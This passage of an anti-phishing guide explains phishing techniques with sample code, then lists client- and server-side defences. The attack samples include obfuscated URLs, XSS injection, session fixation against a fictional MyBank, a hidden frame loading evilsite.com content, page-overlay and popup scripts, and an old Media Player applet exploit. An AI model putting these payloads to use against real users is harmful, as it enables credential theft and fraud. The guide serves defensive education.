These alternative formats are best explained using an example. Consider the URL http://www.evilsite.com/, resolving to 210.134.161.35. This can be interpreted as:

- Dword – `http://3532038435/`
- Octal – `http://0322.0206.0241.0043/`
- Hexadecimal – `http://0xD2.0x86.0xA1.0x23/` or even `http://0xD286A123/`
- In some cases, it may be possible to mix formats (such as `http://0322.0x86.161.0043/`).

**URL Oblfuscation**

To ensure support for local languages in Internet software such as web browsers and e-mail clients, most software will support alternate encoding systems for data. It is a trivial exercise for a phisher to obfuscate the true nature of a supplied URL using one (or a mix) of these encoding schemes.

These encoding schemes tend to be supported by most web browsers, and can be interpreted in different ways by web servers and their custom applications. Typical encoding schemes include:

- **Escape Encoding** – Escape-encoding, sometimes referred to as percent-encoding, is the accepted method of representing characters within a URL that may need special syntax handling to be correctly interpreted. This is achieved by encoding the character to be interpreted with a sequence of three characters. This triplet sequence consists of the percentage character "%"
followed by the two hexadecimal digits representing the octet code of the original character. For example, the US-ASCII character set represents a space with octet code 32, or hexadecimal 20. Thus its URL-encoded representation is %20.

- **Unicode Encoding** – Unicode Encoding is a method of referencing and storing characters with multiple bytes by providing a unique reference number for every character no matter what the language or platform. It is designed to allow a Universal Character Set (UCS) to encompass most of the world’s writing systems. Many modern communication standards (such as XML, Java, LDAP, JavaScript, WML, etc.), operating systems and web clients/servers use Unicode character values. Unicode (UCS-2 ISO 10646) is a 16-bit character encoding that contains all of the characters (216 = 65,536 different characters total) in common use in the world’s major languages. Microsoft Windows platforms allow for the encoding of Unicode characters in the following format - %u0000 – for example %u0020 represents a space, while %u01FC represents the accented ? and %uFD3F is an ornate right parenthesis.

- **Inappropriate UTF-8 Encoding** – One of the most commonly utilized formats, Unicode UTF-8, has the characteristic of preserving the full US-ASCII character range. This great flexibility provides many opportunities for disguising standard characters in longer escape-encoded sequences. For example, the full stop character “.” may be represented as %2E, or %C0%AE, or %E0%80%AE, or %F0%80%80%AE, or %F8%80%80%80%AE, or even %FX%80%80%80%80%AE.

- **Multiple Encoding** – Various guidelines and RFC’s carefully explain the method of decoding escape encoded characters and hint at the dangers associated with decoding multiple times and at multiple layers of an application. However, many applications still incorrectly parse escape-encoded data multiple times. Consequently, phishers may further obfuscate the URL information by encoding characters multiple times (and in different fashions). For example, the back-slash “\” character may be encoded as %25 originally, but could be extended to: %255C, or %35C, or %35%63, or %25%35%63.
2.3.3. Cross-site Scripting Attacks

Cross-site scripting attacks (commonly referred to as CSS or XSS) make use of custom URL or code injection into a valid web-based application URL or imbedded data field. In general, these CSS techniques are the result of poor web-application development processes.

While there are numerous vectors for carrying out a CSS attack, phishers must make use of URL formatted attacks. Typical formats for CSS injection into valid URLs include:

- Full HTML substitution such as:
  

- Inline embedding of scripting content, such as:
  
  http://mybank.com/ebanking?page=1&client=<SCRIPT>evilcode...

- Forcing the page to load external scripting code, such as:
  

![Cross-site scripting attacks](image)

Figure 11: Cross-site scripting attacks
In the previous example, the customer has received the following URL via a phisher's e-mail:

While the customer is indeed directed and connected to the real MyBank web application, due to poor application coding by the bank, the e-banking component will accept an arbitrary URL for insertion within the URL field the returned page. Instead of the application providing a MyBank authentication form embedded within the page, the attacker has managed to reference a page under control on an external server (http://evilsite.com/phishing/fakepage.htm). Unfortunately, as with most CSS vulnerabilities, the customer has no way of knowing that this authentication page is not legitimate. While the example URL may appear obvious, the attacker could easily obfuscate it using the techniques explained earlier. For example,

http://evilsite.com/phishing/fakepage.htm

may instead become:

http%3A%2F%2F3515261219%2Fphishing%C0%AEfakepage%2Ehtm

2.3.4. Preset Session Attack

Since both HTTP and HTTPS are stateless protocols, web-based applications must use custom methods of tracking users through its pages and also manage access to resources that require authentication. The most common way of managing state within such an application is through Session Identifiers (SessionID's). These SessionID's may be implemented through cookies, hidden fields or fields contained within page URLs.

Many web-based applications implement poor state management systems and will allow client connections to define a SessionID. The web application will track the user around the application using the preset SessionID, but will usually require the user to authenticate (such as supply identification information through the formal login page) before allowing them access to “restricted” page content.

In this class of attack, the phishing message contains a web link to the real application server, but also contains a predefined SessionID field. The attacker's system constantly polls the application server for a restricted page (such as an e-banking page that allows fund transfers) using the preset SessionID. Until a valid user authenticates against this SessionID, the attacker will receive errors from the web-application server (such as 404 File Not Found, 302 Server Redirect).
The phishing attacker must wait until a message recipient follows the link and authenticates themselves using the SessionID. Once authenticated, the application server will allow any connection using the authorized SessionID to access restricted content (since the SessionID is the only state management token in use). Therefore, the attacker can use the preset SessionID to access a restricted page and carry out his attack.

The following figure shows how the Preset Session Attack (sometimes referred to as Session Fixation) is conducted:

![Figure 12: Preset session attacks](image)

Here the phisher has bulk-e-mailed potential MyBank customers a fake message containing the URL https://mybank.com/ebanking?session=3V1L5e5510N&Login=True containing a preset SessionID of 3V1L5e5510N and continually polls the MyBank server every minute for a restricted page that will allow customer Fund Transfers (https://mybank.com/ebanking?session=3V1L5e5510N&Transfer=True).

Until a customer authenticates using the SessionID, the phisher will receive errors when trying to access the page as the SessionID is invalid. After the customer authenticates themselves the SessionID becomes valid, and the phisher can access the Fund Transfer page.
2.3.5. Hidden Attacks

Extending beyond the obfuscation techniques discussed earlier, an attacker may make use of HTML, DHTML and other scriptable code that can be interpreted by the customer’s web browser and used to manipulate the display of the rendered information. In many instances the attacker will use these techniques to disguise fake content (in particular the source of the page content) as coming from the real site – whether this is a man-in-the-middle attack, or a fake copy of the site hosted on the attackers own systems.

The most common vectors include:

- Hidden Frames
- Overriding Page Content
- Graphical Substitution

Hidden Frames

Frames are a popular method of hiding attack content due to their uniform browser support and easy coding style.

In the following example, two frames are defined. The first frame contains the legitimate site URL information, while the second frame – occupying 0% of the browser interface – references the phisher's chosen content. The page linked to within the hidden frame can be used to deliver additional content (such as overriding page content or graphical substitution), retrieving confidential information such as SessionID's or something more nefarious; such as executing screen-grabbing and key-logging observation code.

```html
<frameset rows="100%,*" framespacing="0">
  <frame name="real" src="http://mybank.com/" scrolling="auto">
  <frame name="hiddenContent" src="http://evilsite.com/bad.htm" scrolling="auto">
</frameset>
```

Hidden frames may be used to:

- Hide the source address of the attacker's content server. Only the URL of the master frameset document will be visible from the browser interface unless the user follows a link with the target attribute site to "_top".
- Provide a fake secure HTTPS wrapper (forcing the browser to display a padlock or similar visual security clue) for the site content – while still using insecure HTTP for hidden page content and operations.
Overriding Page Content

Several methods exist for phishers to override displayed content. One of the most popular methods of inserting fake content within a page is to use the DHTML function - DIV. The DIV function allows an attacker to place content into a “virtual container” that, when given an absolute position and size through the STYLE method, can be positioned to hide or replace (by “sitting on top”) underlying content. This malicious content may be delivered as a very long URL or by referencing a stored script. For example, the following code segment contains the first three lines of a small JavaScript file (such as fake.js) for overwriting page content.

```
var d = document;
d.write('<DIV id="fake" style="position:absolute; left:200; top:200; z-index:2">
<TABLE width=500 height=1000 cellspacing=0 cellpadding=14><TR'>);d.write('<TD colspan=2 bgcolor=#FFFFFF valign=top height=125>');
```

This method allows an attacker to build a complete page (including graphics and auxiliary scripting code elements) on top of the real page.

Graphical Substitution

While it is possible to overwrite page content easily through multiple methods, one problem facing phishers is that of browser specific visual clues to the source of an attack. These clues include the URL presented within the browser's URL field, the secure padlock representing an HTTPS encrypted connection, and the Zone of the page source.
A common method used to overcome these visual clues is through the use of browser scripting languages (such as JavaScript, VBScript and Java) to position specially created graphics over these key areas with fake information.

In the example below, the attacker uses carefully positioned fake address bar and padlock/zone images to hide the real information. While the phisher must use graphics that are appropriate to the manufacturer of the browser software, it is a trivial exercise for the attacker’s fake website to determine the browser type and exact version through simple code queries. Therefore, the attacker may prepare images for a range of common browsers and code their page in such a way that the appropriate images are always used.
It is important to note that phishing attacks in the past have combined graphical substitution with additional scripting code to fake other browser functionality. Examples include:

- Implementing “right-click” functionality and menu access,
- Presenting false popup messages just as the real browser or web application would,
- Displaying fake SSL certificate details when reviewing page properties or security settings – through the use of images.

Using simple HTML embedded commands, an attacker can hijack the customer’s entire desktop (user interface) and construct a fake interface to capture and manipulate what the customer sees. This is done using the `window.createPopup()` and `popup.show()` commands. For example:

```javascript
op=window.createPopup();
op.document.body.innerHTML="...html...";
op.show(0,0,screen.width,screen.height,document.body);
```

### 2.3.6. Observing Customer Data

An old favorite in the hacker community and becoming increasingly popular among phishers, key-loggers and screen-grabbers can be used to observe confidential customer data as it is entered into a web-based application.

This information is collected locally and typically retrieved by the attacker through the following different methods:

- Continuous streaming of data (i.e. data is sent as soon as it is generated) using a custom data sender/receiver pair. To do this, the attacker must often keep a connection open to the customer’s computer.

- Local collection and batching of information for upload to the attacker’s server. This may be done through protocols such as FTP, HTTP, SMTP, etc.

- Backdoor collection by the attacker. The observation software allows the attacker to connect remotely to the customer’s machine and pull back the data as and when required.
Key-logging

The purpose of key loggers is to observe and record all key presses by the customer – in particular, when they must enter their authentication information into web-based application login pages. With these credentials the phisher can then use the account for their own purposes at a later date and time.

Key-loggers may be pre-compiled objects that will observe all key presses – regardless of application or context (such as they could be used to observe the customer using Microsoft Word to type a letter) – or they may be written in client-side scripting code to observe key presses within the context of the web browser. Due to client-side permissions, it is usually easier to use scripting languages for phishing attacks.

Screen Grabbing

Some sophisticated phishing attacks make use of code designed to take a screen shot of data that has been entered into a web-based application. This functionality is used to overcome some of the more secure financial applications that have special features build-in to prevent against standard key-logging attacks.

In many cases, only the relevant observational area is required (i.e. a small section of the web page instead of the entire screen) and the phisher’s software will only record this data – thus keeping the upload data capture small and quick to transfer to their server.

For example, in a phishing attempt against Barclays, the attacker used screen grabbing techniques to capture an image of the second-tier login process designed to prevent key-logging attempts. A sample capture file is shown below:

![Figure 14: Barclays Phishing attack using screen capture technology]
2.3.7. Client-side Vulnerabilities

The sophisticated browsers customers use to surf the web, just like any other commercial piece of software, are often vulnerable to a myriad of attacks. The more functionality built into the browser, the more likely there exists a vulnerability that could be exploited by an attacker to gain access to, or otherwise observe, confidential information of the customer.

While software vendors have made great strides in methods of rolling out software updates and patches, home users are notoriously poor in applying them. This, combined with the ability to install add-ons (such as Flash, RealPlayer and other embedded applications) means that there are many opportunities for attack.

Similar to the threat posed by some of the nastier viruses and automated worms, these vulnerabilities can be exploited in a number of ways. However, unlike worms and viruses, many of the attacks cannot be stopped by anti-virus software as they are often much harder to detect and consequently prevent (i.e. the stage in which the antivirus product is triggered is usually after the exploitation and typically only if the attacker tries to install a well known Backdoor Trojan or key-logger utility).

Example 1: Microsoft Internet Explorer URL Mishandling

By inserting a character (in this case 0x01 – represented as the escape encoded sequence %01) within the username section of the Friendly Login URL, a user would be redirected to the attackers server, but characters after the %01 would not be displayed in the browser URL field. Therefore this attack could be used to obfuscate the attackers full URL.

Sample HTML code:

```
location.href=unescape('http://www.mybank.com%01@evilsite.com/phishing/fakepage.htm');
```

Example 2: Microsoft Internet Explorer and Media Player Combination

A vulnerability existed within Microsoft Media Player that was exploitable through java coding with Microsoft Internet Explorer. This vulnerability enabled remote servers to read local customer files, browse directories and finally execution of arbitrary software. Depending upon the software being executed, the attacker had the potential to take control of the customer’s computer.
The problem lay with how Media Player downloaded customized skins and stored them. For example:

```
"C:/Program files/Windows Media Player/Skins/SKIN.WMZ" : <IFRAME SRC="wmp2.wmz"></IFRAME>
```

Will download wmp2.wmz and place it in the defined folder. Unfortunately, the file wmp2.wmz may be a java jar archive. Therefore the following applet tag:

```
<APPLET CODEBASE="file://c:/" ARCHIVE="Program files/Windows Media Player/SKINS/wmp2.wmz"
CODE="gjavacodebase.class" WIDTH=700 HEIGHT=300>
<PARAM NAME="URL" VALUE="file:///c:/test.txt">
</APPLET>
```

Will be executed with codebase="file://c:/" and the applet will have read only access to C:\.

To execute this code automatically, all an attacker had to do was get the web browser to open a simple HTML fie such as the one below:

```
<IFRAME SRC="wmp2.wmz" WIDTH=1 HEIGHT=1"></IFRAME>
<SCRIPT>
  function f()
  {
    window.open("wmp7-bad.htm");
  }
  setTimeout("f()",4000);
</SCRIPT>
```

Which calls a secondary HTML file (wmp7-bad.htm)

```
<APPLET CODEBASE="file://c:/"
ARCHIVE="Program files/Windows Media Player/SKINS/wmp2.wmz"
CODE="gjavacodebase.class"
WIDTH=700 HEIGHT=300>
<PARAM NAME="URL" VALUE="file:///c:/test.txt">
</APPLET>
```

Example 3: RealPlayer/RealOne Browser Extension Heap Corruption

RealPlayer is the most widely used product for Internet media delivery, with in excess of 200 million users worldwide. All popular web browsers offer support for RealPlayer and the automatic playing of media.
By crafting a malformed .RA, .RM, .RV or .RMJ file it possible to cause heap corruption that can lead to execution of an attacker's arbitrary code. By forcing a browser or enticing a user to a website containing such a file, arbitrary attacker supplied code could be automatically executed on the target machine. This code will run in the security context of the logged on user.

More information is available from:
http://www.nextgenss.com/advisories/realra.txt

Section 3: Defense Mechanisms

3.1. Countering the Threat

As already shown in Section 2, the phisher has a large number of methods at their disposal – consequently there is no single solution capable of combating all these different attack vectors. However, it is possible to prevent current and future phishing attacks by utilizing a mix of information security technologies and techniques.

For best protection, these security technologies and techniques must be deployed at three logical layers:

1. The Client-side – this includes the user’s PC.
2. The Server-side – this includes the business’ Internet visible systems and custom applications.
3. Enterprise Level – distributed technologies and third-party management services

This section details the different defense mechanisms available at each logical layer.
3.2. Client-side

The client-side should be seen as representing the forefront of anti-phishing security. Given the distributed nature of home computing and widely varying customer skill levels and awareness, client-side security is generally much poorer than a managed corporate workstation deployment. However, many solutions exist for use within both the home and corporate environments.

At the client-side, protection against phishing can be afforded by:

- Desktop protection technologies
- Utilization of appropriate communication settings
- User application-level monitoring solutions
- Locking-down browser capabilities
- Digital signing and validation of email
- General security awareness

3.2.1. Desktop Protection Agents

Most users of desktop systems are familiar with locally installed protection software, typically in the form of a common anti-virus solution. Ideally, desktop systems should be configured to use multiple desktop protection agents (even if this functionality duplicates any corporate perimeter protection services), and be capable of performing the following services:

- Local Anti-Virus protection
- Personal Firewall
- Personal IDS
- Personal Anti-Spam
- Spyware Detection

Many desktop protection software providers (such as Symantec, McAfee, Microsoft, etc.) now provide solutions that are capable of fulfilling one or more of these functions. Specific to phishing attack vectors, these solutions (or a combination of) should provide the following functionality:

- The ability to detect and block “on the fly” attempts to install malicious software (such as Trojan horses, keyloggers, screen-grabbers and creating backdoors) through e-mail attachments, file downloads, dynamic HTML and scripted content.
- The ability to identify common spam delivery techniques and quarantine offending messages.
• The ability to pull down the latest anti-virus and anti-spam signatures and apply them to the intercepting protection software. Given the variety in spamming techniques, this process should be scheduled as a daily activity.
• The ability to detect and block unauthorized out-bound connections from installed software or active processes. For example, if the customer’s host has been previously compromised, the protection solution must be able to query the authenticity of the out-bound connection and verify it with the user.
• The ability to detect anomalies in network traffic profiles (both inbound and outbound) and initiate appropriate counter-measures. For instance, detecting that an inbound HTTP connection has been made and substantial outbound SSL traffic begins on a non-standard port.
• The ability to block inbound connections to unassociated or restricted network ports and their services.
• The ability to identify common Spyware installations and the ability to prevent installation of the software and/or blocking outbound communications to known Spyware monitoring sites.
• Automatically block outbound delivery of sensitive information to suspected malicious parties. Sensitive information includes confidential financial details and contact information. Even if the customer cannot visually identify the true website that will receive the sensitive information, some off the shelf software solutions can.

<table>
<thead>
<tr>
<th>Advantages</th>
<th>Disadvantages</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Local Defense Awareness</strong></td>
<td><strong>Purchasing Price</strong></td>
</tr>
<tr>
<td>Local installation of desktop protection agents is becoming an easier task, and most customers already appreciate the value of anti-virus software. It is a simple conceptual process to extend this cover to other protection agents and get customers to “buy-in”.</td>
<td>The purchasing price of desktop protection agents is not an insignificant investment for many customers. If multiple vendors’ solutions are required to provide coverage against all attack vectors, there can be a substantial multiplication of financial cost for very little extra security coverage.</td>
</tr>
<tr>
<td><strong>Protection Overlapping</strong></td>
<td><strong>Subscription Renewals</strong></td>
</tr>
<tr>
<td>Using a variety of desktop protection agents from various software manufacturers tends to cause overlaps in overall protection. This means that a failure or security lapse in one product may be detected and defended against by another.</td>
<td>Many of the current desktop protection agents rely on monthly or annual subscription payments to keep the users installation current. Unless appropriate notices are given, these renewals may not take place and the protection agents will be out of date.</td>
</tr>
<tr>
<td><strong>Defense-in-Depth</strong></td>
<td><strong>Complexity &amp; Manageability</strong></td>
</tr>
<tr>
<td>The independent nature of desktop protection agents means that they do not affect (or are affected by) security functionality of other externally hosted services — thereby contributing to the overall defense-in-depth posture of an organization.</td>
<td>For corporate environments, desktop protection agents can be complex to deploy and manage – particularly at an enterprise level. Since these solutions require continual deployments of updates (sometimes on a daily schedule), there may be a requirement of an investment in additional man-power.</td>
</tr>
</tbody>
</table>
3.2.2. E-mail Sophistication

Many of the e-mail applications corporate users and customers use to access Internet resources provide an ever increasing level of functionality and sophistication. While some of this functionality may be required for sophisticated corporate applications and systems – use of these technologies typically only applies to inter-company systems. Most of this functionality is not required for day-to-day use – particularly for Internet communication services.

This unnecessary embedded (and often default) functionality is exploited by phishing attacks (along with increasing the probability of other kinds of attacks). In general, most popular applications allow users to turn off the most dangerous functionality.

HTML-based E-mail

Many of the attacks outlined in Section 2 are successful due to HTML-based e-mail functionality, in particular, the ability to obfuscate the true destination of links, the ability to embed scripting elements and the automatic rendering of embedded (or linked) multimedia elements. HTML functionality must be disabled in all e-mail client applications capable of accepting or sending Internet e-mails. Instead, plain text e-mail representation should be used, and ideally the chosen font should be fixed-with such as Courier.

E-mails will then be rendered in plain text, preventing the most common attack vectors. However, users should be prepared to receive some e-mails that appear to be “gobbledy-gook” due to textual formatting issues and probable HTML code inclusions. Some popular e-mail clients will automatically remove the HTML code. While the visual appeal of the received e-mails may be lessened, security is improved substantially. Users should not use other e-mail rendering options (such as rich text or Microsoft Word editors) as there are known security flaws with these formats which could also be exploited by phishers.

Attachment Blocking

E-mail applications capable of blocking “dangerous” attachments and preventing users from quickly executing or viewing attached content should be used whenever possible.

Some popular e-mail applications (such as Microsoft Outlook) maintain a list of “dangerous” attachment formats, and prevent users from opening them. While other applications force the user to save the file somewhere else before they can access it.
Ideally, users should not be able to directly access e-mail attachments from within the e-mail application. This applies to all attachment types (including Microsoft Word documents, multimedia files and binary files) as many of these file formats can contain malicious code capable of compromising the associated rendering application (such as the earlier example of a vulnerability in the RealPlayer .RM player). In addition, by saving the file locally, local anti-virus solutions are better able to inspect the file for viruses or other malicious content.

<table>
<thead>
<tr>
<th>Advantages</th>
<th>Disadvantages</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Overcomes HTML Obfuscation</strong></td>
<td><strong>Readability</strong></td>
</tr>
<tr>
<td>Forcing all inbound e-mails into text-only format is sufficient to overcome standard HTML-based obfuscation techniques.</td>
<td>The rendering of HTML-based e-mails often means that HTML code elements make the message difficult to read and understand.</td>
</tr>
<tr>
<td><strong>Overcoming Attached Viruses</strong></td>
<td><strong>Message Limitations</strong></td>
</tr>
<tr>
<td>By blocking attachments, and/or forcing content to be saved elsewhere, it makes more difficult for automated attacks to be conducted and provides extra potential for standard anti-virus products to detect malicious content.</td>
<td>Users often find it difficult to include attachments (such as graphics) in TEXT-only e-mails having been used to drag-and-drop embedding of images into to HTML or Microsoft Word e-mail editors.</td>
</tr>
<tr>
<td><strong>Onerous Blocking</strong></td>
<td></td>
</tr>
<tr>
<td>The default blocking of “dangerous” attachments often results in technical users attempting to bypass these limitations in commercial environments that are used for attaching or receiving executable content.</td>
<td></td>
</tr>
</tbody>
</table>

3.2.3. Browser Capabilities

The common web browser may be used as a defense against phishing attacks – if it is configured securely. Similar to the problems with e-mail applications, web browsers also offer extended functionality that may be abused (often to a higher degree than e-mail clients). For most users, their web browser is probably the most technically sophisticated application they use.

The most popular web browsers offer such a fantastic array of functionality – catering to all users in all environments – that they unintentionally provide gaping security flaws that expose the integrity of the host system to attack (it is almost a weekly occurrence that a new vulnerability is discovered that may be exploited remotely through a popular web browser). Much of the sophistication is devoted to being a “jack of all trades”, and no single user can be expected to require the use of all this functionality.
Customers and businesses must make a move to use a web browser that is appropriate for the task at hand. In particular, if the purpose of the web browser is to only browse Internet web services, a sophisticated web browser is not required.

To help prevent many phishing attack vectors, web browser users should:

- Disable all pop-up window functionality
- Disable Java runtime support
- Disable ActiveX support
- Disable all multimedia and auto-play/auto-execute extensions
- Prevent the storage of non-secure cookies
- Ensure that any downloads cannot be automatically run from the browser, and must instead be downloaded into a directory for anti-virus inspection

**Moving Away from Microsoft Internet Explorer**

Microsoft's web browser, Internet Explorer, is the most sophisticated web browser available. Consequently it has a very long track record of vulnerability discovery and remote exploitation. For typical web browsing, less than 5% of its built-in functionality is used. In fact many of the “features” available in the browser were added to protect against previous flaws and attack vectors. Unfortunately each new feature brings with it a host of security problems and additional complexity.

While some of the most dangerous functionality can be disabled or muted using various configuration options, customers and corporate users are urged to use a web browser that is most applicable to the task at hand (such as is the browser supposed to be a multimedia centre, a mail client, a chat platform or a compiled application delivery platform).

There are a number of vendors that offer web browsers that are more secure against a wider range of attack vectors – including phishing. A popular “stripped down”, but fully configurable, web browser is Firefox (http://www.mozilla.org). With a default install the web browser is one of the most secure around, yet it can still be managed within a corporate environment and is extensible through selective add-on modules.
Anti-Phishing Plug-ins

There is a growing number of specialist anti-phishing software producers that provide browser plug-ins. Most often, the plug-ins are added to the browsers toolbar and provide an active monitoring facility. These toolbars typically “phone-home” for each URL and verify that the requested server host is not currently on a list of known phishing scams.

It is important to note that many of the browser plug-ins only support Microsoft’s Internet Explorer browser.

![Image of Google Safe Browsing feature](image)

**Advantages**

<table>
<thead>
<tr>
<th>Immediate Security Improvements</th>
</tr>
</thead>
<tbody>
<tr>
<td>Moving away from a complex web browser with reduced functionality will immediately mitigate against the most common security flaws and vulnerabilities in Internet Explorer.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Speed</th>
</tr>
</thead>
<tbody>
<tr>
<td>Less sophisticated web browsers typically access and render web-based material quicker.</td>
</tr>
</tbody>
</table>

**Disadvantages**

<table>
<thead>
<tr>
<th>Loss of Extended Functionality</th>
</tr>
</thead>
<tbody>
<tr>
<td>For corporate environments, the loss of some extended functionality may require dedicated applications instead of web browser integrated components.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Rendering of Complex Web-Applications</th>
</tr>
</thead>
<tbody>
<tr>
<td>The removal of some complex functionality (in particular some client-side scripting languages) may cause web-applications to not render page content correctly.</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Plug-ins Responsiveness</th>
</tr>
</thead>
<tbody>
<tr>
<td>The current anti-phishing plug-ins are only as good as the managed provider maintaining the list of known phishing scams and sites. Plug-ins are typically only good for well known, widely distributed, phishing attacks.</td>
</tr>
</tbody>
</table>

3.2.4. Digitally Signed E-mail

It is possible to use Public Key cryptography systems to digitally sign an e-mail. This signing can be used to verify the integrity of the messages content — thereby identifying whether the message content has been altered during transit. A signed message can be attributed to a specific users (or organizational) public key.
Almost all popular e-mail client applications support the signing and verification of signed e-mail messages. It is recommended that users:

- Create a personal public/private key pair
- Upload their public key to respected key management servers so that other people who may receive their e-mails can verify the message's integrity
- Enable, by default, the automatic signing of e-mails
- Verify all signatures on received e-mails and be careful of unsigned or invalid signed messages – ideally verifying the true source of the e-mail

A message signature is essentially a sophisticated one-way hash value that uses aspects of the sender's private key, message length, date and time. The e-mail recipient uses the public key associated with the e-mail sender's address to verify this hash value. The contents of the e-mail should not be altered by any intermediary mail servers.

It is important to note that, in general, there are no restrictions on creating a public/private key pair for any e-mail address a person may choose and consequently uploading the public key to an Internet key management server. Therefore, it is still possible for a phisher to send forth an e-mail with a spoofed address and digitally sign it with a key that they own.

**S/MIME and PGP**

There are currently two popular methods for providing digital signing. These are S/MIME and PGP (including PGP/MIME and the newer OpenPGP standard). Most major Internet mail application vendors ship products capable of using and understanding S/MIME, PGP/MIME, and OpenPGP signed mail.

Although they offer similar services to e-mail users, the two methods have very different formats. Further, and more important to corporate users, they have different formats for their certificates. This means that not only can users of one protocol not communicate with the users of the other; they also cannot share authentication certificates.
Key points for S/MIME and PGP:

- S/MIME was originally developed by RSA Data Security, Inc. It is based on the PKCS #7 data format for the messages, and the X.509v3 format for certificates. PKCS #7 is based on the ASN.1 DER format for data.

- PGP/MIME is based on PGP, which was developed by many individuals, some of whom have now joined together as PGP, Inc. The message and certificate formats were created from scratch and use simple binary encoding. OpenPGP is also based on PGP.

- S/MIME, PGP/MIME, and OpenPGP use MIME to structure their messages. They rely on the multipart/signed MIME type that is described in RFC 1847 for moving signed messages over the Internet.

<table>
<thead>
<tr>
<th>Advantages</th>
<th>Disadvantages</th>
</tr>
</thead>
<tbody>
<tr>
<td>Business Standard</td>
<td>Web-based E-mail Support</td>
</tr>
<tr>
<td>Since S/MIME is already a business standard, it is already incorporated into most standard e-mail clients. Therefore it can work without and additional software requirements.</td>
<td>Not all web-based mail clients support S/MIME (such as Hotmail, AOL, Yahoo! Mail, Outlook Web Access for Exchange 5.5).</td>
</tr>
<tr>
<td>Identity Audit Trail</td>
<td>Misleading Domains</td>
</tr>
<tr>
<td>Phisbers who digitally sign their e-mails must register their public keys with a central key authority. This registration process can provide a stronger audit trail when prosecuting the phisher.</td>
<td>Customers must still closely inspect the “From:” address for misleading domains (such as support@mybánk.com instead of <a href="mailto:support@mybank.com">support@mybank.com</a>).</td>
</tr>
<tr>
<td>Trust Relationship</td>
<td>Revocation Checking</td>
</tr>
<tr>
<td>Legitimate business e-mail can be better identified by customers, therefore generating a greater trust relationship with their customers.</td>
<td>Recipients may not check certificate revocation status.</td>
</tr>
</tbody>
</table>

### 3.2.5. Customer Vigilance

Customers may take a number of steps to avoid becoming a victim of a phishing attack that involve inspecting content that is presented to them and questioning its authenticity.

General vigilance (in addition to what has been covered in sections 3.2.1 to 3.2.4) includes:

- If you get an e-mail that warns you, with little or no notice, that an account of yours will be shut down unless you reconfirm billing information, do not reply or click on the link in the e-mail. Instead, contact the company cited in the e-mail using a telephone number or Web site address you know to be genuine.
• Never respond to HTML e-mail with embedded submission forms. Any information submitted via the e-mail (even if it is legitimate) will be sent in clear text and could be observed.

• Avoid e-mailing personal and financial information. Before submitting financial information through a Web site, look for the "lock" icon on the browser’s status bar. It signals that your information is secure during transmission.

• For sites that indicate they are secure, review the SSL certificate that has been received and ensure that it has been issued by a trusted certificate authority. SSL certificate information can be obtained by double-clicking on the "lock" icon at the bottom of the browser, or by right-clicking on a page and selecting properties.

• Review credit card and bank account statements as soon as you receive them to determine whether there are any unauthorized charges. If your statement is late by more than a couple of days, call your credit card company or bank to confirm your billing address and account balances.

### Money Laundering Job Scams

Given the successes of phishing scams in obtaining personal financial information from their victims, phishers have developed follow-up scams in order to safely transfer stolen monies. An increasingly popular method of accomplishing this is through fake job scams.

Here’s how these job scams work:

• The phishers exploit a number of bank accounts via standard phishing attack vectors.

• They then have a problem of getting the money out of them as most Internet banking facilities do not allow direct transfers to overseas accounts.

• A common way to avoid these restrictions is through job scams. Phishers offer these "jobs" via spam e-mails, fake job advertisements on real job websites or instant messaging spam.

• Once they have recruited a "mule", they are then instructed to create a new bank account with the exploited bank (or use their existing one if they are already a customer) where the phishers have exploited accounts in the past. The phishers then remove money from the exploited accounts and put in to the mule's account.

• The mule is told this is a payment that needs to be transferred and is asked to withdraw the money, minus their "commission", and typically wire it via services such as Western Union to a European or Asian country.
The phishers now have the majority of the money from the original exploited accounts and when the money is traced by the banks or police, the mule is left accountable.

![Figure 17: A typical fake recruitment page and supporting site for attracting “mules”](image)

### Advantages

<table>
<thead>
<tr>
<th>Cost</th>
<th>Disadvantages</th>
</tr>
</thead>
</table>
| By remaining aware of common phishing attack vectors and understanding how to respond to them, customers can take cost efficient actions to protect themselves. | **Information Overload**  
With so many attack vectors and corresponding steps that must be taken to identify the threat, customers are often overwhelmed with necessary detection processes. This may result in customers not trusting or using any electronic communication methods. |

### Changing Battlefield

Phishers are constantly developing new deceptive techniques to confuse customers and hide the true nature of the message. It is increasingly difficult to identify attacks.
3.3. Server-side

By implementing intelligent anti-phishing techniques into the organization's web application security, developing internal processes to combat phishing vectors and educating customers – it is possible to take an active role in protecting customers from future attack. By carrying out this work from the server-side, organizations can take large steps in helping to protect against what is invariably a complex and insidious threat.

At the client-side, protection against phishing can be afforded by:

- Improving customer awareness
- Providing validation information for official communications
- Ensuring that the Internet web application is securely developed and doesn't include easily exploitable attack vectors
- Using strong token-based authentication systems
- Keeping naming systems simple and understandable

3.3.1. Customer Awareness

It is important that organizations constantly inform their customers and other application users of the dangers from phishing attacks and what preventative actions are available. In particular, information must be visible about how the organization communicates securely with their customers. For instance, a posting similar to the following will help customers identify phishing e-mails sent in the organization's name.

"MyBank will never initiate a request for sensitive information from you via e-mail (i.e., Social Security Number, Personal ID, Password, PIN or account number). If you receive an e-mail that requests this type of sensitive information, you should be suspicious of it. We strongly suggest that you do not share your Personal ID, Password, PIN or account number with anyone, under any circumstances.

If you suspect that you have received a fraudulent e-mail, or wish to validate an official e-mail from MyBank, please visit our antiphishing page http://mybank.com/antiphishing.aspx"

Key steps in helping to ensure customer awareness and continued vigilance:

- Remind customers repeatedly. This can be achieved with small notifications on critical login pages about how the organization communicates with their customers. Customers reaching the page should be prompted to think about the legitimacy of the e-mail (or other communication) that drove them to the page.
• Provide an easy method for customers to report phishing scams, or other possible fraudulent e-mails sent in the organization's name. This can be achieved by providing clear links on key authentication and help pages that enable customers to report a possible phishing scam – and also provide advice on recognizing a scam. Importantly, the organization must invest in sufficient resources to review these submissions and be capable of working with law enforcement agencies and ISPs to stop an attack in progress.

• Provide advice on how to verify the integrity of the website they are using. This includes how to:
  • Check the security settings of their web browser
  • Check that their connection is secure over SSL
  • Review the “padlock” and certificate signature of the page
  • Decipher the URL line in their browser

• Establish corporate communication policies and enforce them. Create corporate policies for e-mail content so that legitimate e-mails cannot be confused with phishing attacks. Ensure that the departments likely to communicate with customers clearly understand the policy and take steps to enforce them (such as perimeter content checking systems, review by QA teams, etc.).

